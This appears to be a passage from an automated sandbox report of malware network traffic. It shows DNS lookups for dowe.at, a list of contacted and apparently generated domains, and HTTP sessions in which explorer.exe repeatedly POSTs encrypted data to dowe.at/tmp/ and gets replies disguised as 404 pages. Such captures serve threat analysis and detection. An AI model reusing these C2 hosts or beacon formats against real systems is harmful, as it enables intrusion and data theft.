Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:07.953203917 CET	8.8.8.8	192.168.2.6	0x9ea3	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

thepokeway.nl

tajcoxqjmd.com

dowe.at

owxfgf.net

dqkjujneki.com

yfupv.net

lawtvrqx.org

123.253.32.170

frwum.com

ifardcruc.org

gbbshbjmpq.com

dkguxo.org

frdxrq.org

plraoc.net

panajd.com

queeh.org

lvqyks.com

oidcj.com

ljwdjes.org

bajxyhac.net

fbxsgv.net

xjvagowrnc.org

ueuounaic.org

vhxqowscaf.net

nqdpmu.com

nxslssk.org

rbdses.com

jxvmoh.net

hlixtq.net

bymgj.net

jviyq.org

papeicwkil.net

csplko.com

ecwfh.net

avfvrfo.net

ouqhut.net

amjtlofw.net

mrgphm.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49739	5.135.247.111	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49719	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:10:58.231497049 CET	282	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tajcoxqjmd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 292 Host: dowe.at
Nov 30, 2022 00:10:58.231524944 CET	282	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 64 43 a2 e8 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA .[k,vudCN!hlRQ}mq!6h(yh4:gCxT3Z?nH&U>Y :aNqqlCv84Gum1.yC;:O!
Nov 30, 2022 00:10:59.088948011 CET	283	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:10:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 87 ee Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49731	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:25.986078978 CET	4275	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dkguxo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: dowe.at
Nov 30, 2022 00:11:25.987418890 CET	4276	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 57 33 ac f2 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuW3_ZotrVL1bMf(){\G\lH&A;.<ADb-}<f"[drbf]~\}.Fp+'N/
Nov 30, 2022 00:11:27.160924911 CET	4276	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49732	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:27.552278996 CET	4277	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://frdxrq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: dowe.at
Nov 30, 2022 00:11:27.552583933 CET	4277	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 7a 1c fd af Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuz{p.e^meKI,iW3-x#C#b1T
Nov 30, 2022 00:11:28.751085997 CET	4278	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49733	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:33.288846970 CET	4279	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://plraoc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 351 Host: dowe.at
Nov 30, 2022 00:11:33.292745113 CET	4279	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 59 1a c6 a0 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vuYiBtWBq0uz>JKH8sdP5q*W4KfGAYLfiql6(UeZvB<^mF
Nov 30, 2022 00:11:34.508234978 CET	4280	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49734	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:34.842155933 CET	4287	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://panajd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: dowe.at
Nov 30, 2022 00:11:34.842196941 CET	4288	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 58 31 b9 a9 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vuX1pdvU G(s#l$;BG[54XZ?%Ow!T6b\fx)9yevW2
Nov 30, 2022 00:11:35.781203032 CET	4288	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49736	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:36.131793022 CET	4289	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://queeh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 150 Host: dowe.at
Nov 30, 2022 00:11:36.131817102 CET	4290	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 29 18 eb ac Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vu)wAh^~Y)8X0G ]O$*=tc#;v
Nov 30, 2022 00:11:37.042538881 CET	4290	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49737	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:37.256628990 CET	4291	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lvqyks.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: dowe.at
Nov 30, 2022 00:11:37.256666899 CET	4291	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 27 0b f3 b8 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vu'}p{`Ku,Y]^M[G-Q0w+Y4uM2/d"#r'\?,5;D!^GX.7nGEJ1]F^~
Nov 30, 2022 00:11:38.125377893 CET	4292	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49738	201.124.230.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:38.392638922 CET	4293	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oidcj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: dowe.at
Nov 30, 2022 00:11:38.392664909 CET	4293	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 2b 3d e9 e1 Data Ascii: ;n&!tu~{sc\|EZ_vlV?*$`7C[zqNA -[k,vu+=yrojy<[$Bz@tDcJ9.=S%otR54yM-Ly!3lkm6+ZWsVry~q2
Nov 30, 2022 00:11:39.118047953 CET	4293	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 50 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 1f 62 43 e4 37 01 fe ef 46 ea d0 ec a6 6d 81 3e d9 f7 22 5e 5a 85 84 8b cb 7c 9a 2e 1d 03 Data Ascii: #\6bC7Fm>"^Z\|.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49740	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:40.905594110 CET	4783	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ljwdjes.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 118 Host: dowe.at
Nov 30, 2022 00:11:40.905594110 CET	4783	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 06 6b 2c 90 f4 76 0b 75 2a 3d b6 8d Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA ,[k,vu=QiQDQ)9dVB[
Nov 30, 2022 00:11:41.773041964 CET	4784	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49741	200.46.66.71	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:42.015697002 CET	4785	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bajxyhac.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 160 Host: dowe.at
Nov 30, 2022 00:11:42.015731096 CET	4785	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 5c 17 f1 f3 Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vu\NMk_]\>2g8wcn7ty:+Z%B@4PI!E
Nov 30, 2022 00:11:42.917011976 CET	4786	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8
Nov 30, 2022 00:11:43.467472076 CET	4787	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 23:11:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49742	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:11:43.262384892 CET	4787	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fbxsgv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 343 Host: dowe.at
Nov 30, 2022 00:11:43.262415886 CET	4787	OUT	Data Raw: 3b 6e 26 19 8c b9 1b 21 dd dc c0 74 75 03 7e cc 7b 0b bd e3 1f 73 95 63 0f 0c 7c 97 45 b4 c4 1a 98 5a c0 5f 76 6c 56 19 eb e9 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 20 44 e5 ab Data Ascii: ;n&!tu~{sc\|EZ_vlV?$`7C[zqNA -[k,vu DH&kALBc*].SP.THN>hqQ([.Ks3V&e[E:XJox+;pIZ<h%:.
Nov 30, 2022 00:11:44.508891106 CET	4788	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:11:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49721	211.59.14.90	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:10:59.875227928 CET	290	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://owxfgf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: dowe.at
